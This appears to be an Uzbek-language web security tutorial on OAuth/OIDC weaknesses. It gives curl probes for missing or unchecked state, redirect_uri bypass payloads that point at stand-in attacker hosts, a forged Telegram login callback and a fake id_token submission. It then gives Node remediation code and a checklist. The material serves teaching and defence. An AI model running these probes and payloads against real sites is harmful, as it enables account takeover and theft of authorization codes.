🔗
OAuth / OIDC zaifliklari
state, redirect_uri, token
1
Maqsad
tashqi login orqali hisobni egallashOAuth — "Google bilan kirish" tugmasi. Zaif sozlanganida hujumchi o'z akkauntingiz bilan uning hisobiga (yoki aksincha) kiradi.
2
Tushuntirish
asosiy zaifliklar| Zaiflik | Nima uchun |
|---|---|
state yo'q/tekshirilmaydi | CSRF — login'ni boshqaga bog'lash |
redirect_uri tekshirilmaydi | Kodni o'g'irlash (authorization code o'g'irlash) |
| Token'ni tekshirmaslik | Boshqaning token'i bilan hujum |
| Email'ni ishonchsiz ulash | email_verified ga qaramaslik |
| Scope keng | Ortiqcha huquq (offline_access, email) |
| Token saqlash | DB da ochiq saqlash |
3
Qanday aniqlanadi
# 1) login havolasi (parametrlarni ko'rish) curl -s "https://site.uz/auth/google" -D- -o /dev/null | grep -i location // state, redirect_uri, client_id, scope, response_type # 2) state yo'qmi? curl -s "https://site.uz/auth/google" -D- -o /dev/null | grep -i location | grep -o "state=[^&]*" // bo'sh → CSRF zaifligi # 3) redirect_uri tekshiruvi curl -s "https://site.uz/auth/callback?code=TEST&state=TEST& redirect_uri=https://zararli.uz/cb" -D- -o /dev/null | grep -iE "location|error" # 4) token tekshiruvi curl -s "https://site.uz/auth/callback?code=TEST" | head -c 200 # 5) kodda grep -rniE "state|redirect_uri|client_secret|access_token|id_token" src/ | head
4
Buyruqlar
# 1) state yo'qligi (CSRF) curl -s -D- -o /dev/null "https://site.uz/auth/google" | grep -oiE "state=[^&]*" curl -s -D- -o /dev/null "https://site.uz/auth/telegram" | grep -oiE "state=[^&]*" # 2) state qaytariladimi? (callback'da tekshiriladi) curl -s "https://site.uz/auth/callback?code=abc&state=WRONG" | jq -c . // "state invalid" → tekshiriladi curl -s "https://site.uz/auth/callback?code=abc" | jq -c . // state yo'q bo'lsa ham qabul qilinsa → zaiflik # 3) redirect_uri o'zgartirish for U in "https://zararli.uz/cb" "https://site.uz.evil.tld/cb" "https://evil.tld" \ "https://site.uz/cb?x=1" "https://site.uz@evil.tld/cb"; do printf " %-32s → " "$U" curl -s -o /dev/null -w "%{http_code}\n" \ "https://site.uz/auth/callback?code=abc&state=s&redirect_uri=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$U")" done # 4) open redirect orqali kod o'g'irlash curl -s -D- -o /dev/null "https://site.uz/auth/google?redirect_uri=/go?to=https://zararli.uz" # 5) Telegram bot token orqali (avtomatlashtirilgan login) curl -s -X POST https://site.uz/api/auth/telegram/callback \ -H "Content-Type: application/json" \ -d '{"id":123456789,"first_name":"A","auth_date":1234567890}' | jq -c . // hash tekshirilmasligi → Telegram ID'ni o'g'rish mumkin # 6) token endpoint (tashqi) curl -s -X POST https://oauth2.googleapis.com/token \ -d "code=abc&client_id=X&client_secret=Y&redirect_uri=Z" | jq -c . # 7) id_token'ni tekshirsiz qabul qilish curl -s "https://site.uz/api/auth/google/callback" -H "Content-Type: application/json" \ -d '{"id_token":"eyJ...fake..."}' | jq -c .
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`state` parametri umuman yo'q | **CSRF — login fixation** |
`state` noto'g'ri bo'lsa ham qabul qilindi | **Zaiflik** |
`redirect_uri` o'zgartirildi va qabul qilindi | **Kod o'g'irlash** |
Telegram `hash` tekshirilmadi | **ID takallodi** |
`id_token` imzosi tekshirilmadi | **Token soxtalash — kritik** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`state` bor va callback'da solishtiriladi | **To'g'ri** |
`redirect_uri` allowlist'da | **To'g'ri** |
`id_token` JWT imzosi tekshiriladi | **To'g'ri** |
`email_verified: true` majburiy | **To'g'ri** |
6
Zararni yopish
1. state — tasodifiy va tekshirilgan
const state = crypto.randomBytes(32).toString('hex');
req.session.oauthState = state; // sessiyada saqlanadi
// redirect ga state=... qo'shiladi
// callback da:
if (req.query.state !== req.session.oauthState) return fail();
delete req.session.oauthState; // ← bir marta
2. redirect_uri — aniq allowlist
const OK = new Set(['https://site.uz/auth/callback']);
if (!OK.has(req.query.redirect_uri)) return fail();
// substring emas, aynan solishtirish
3. id_token'ni to'g'ri tekshirish
const decoded = jwt.verify(id_token, GOOGLE_PUBKEY, {{
algorithms: ['RS256'], // ❌ HS256 emas
audience: process.env.GOOGLE_CLIENT_ID,
issuer: 'https://accounts.google.com'
}});
if (!decoded.email_verified) return fail();
if (decoded.iss !== 'https://accounts.google.com') return fail();
4. Telegram hash tekshiruvi
const secret = crypto.createHash('sha256')
.update(process.env.TELEGRAM_BOT_TOKEN).digest();
const check = crypto.createHmac('sha256', secret)
.update(`${{data.id}}:${{data.auth_date}}`).digest('hex');
if (data.hash !== check) return fail(); // ← majburiy
if (Date.now()/1000 - data.auth_date > 86400) return fail();
5. Secret va token
client_secretfaqat serverda (`.env`, kodda emas)- Access token shifrlangan saqlanadi yoki umuman saqlanmaydi
- Scope minimal:
openid email(kerak bo'lmasaemailham yo'q) - Telegram:
auth_date1 kunidan eski bo'lmasin
7
Tekshirish ro'yxati
- `state` tasodifiy, sessiyada saqlanadi
- Callback'da `state` solishtiriladi va o'chiriladi
- `redirect_uri` aniq allowlist'da
- `id_token` `algorithms:['RS256']` bilan tekshiriladi
- `email_verified: true` majburiy
- Telegram `hash` va `auth_date` tekshiriladi
- Access token ochiq saqlanmaydi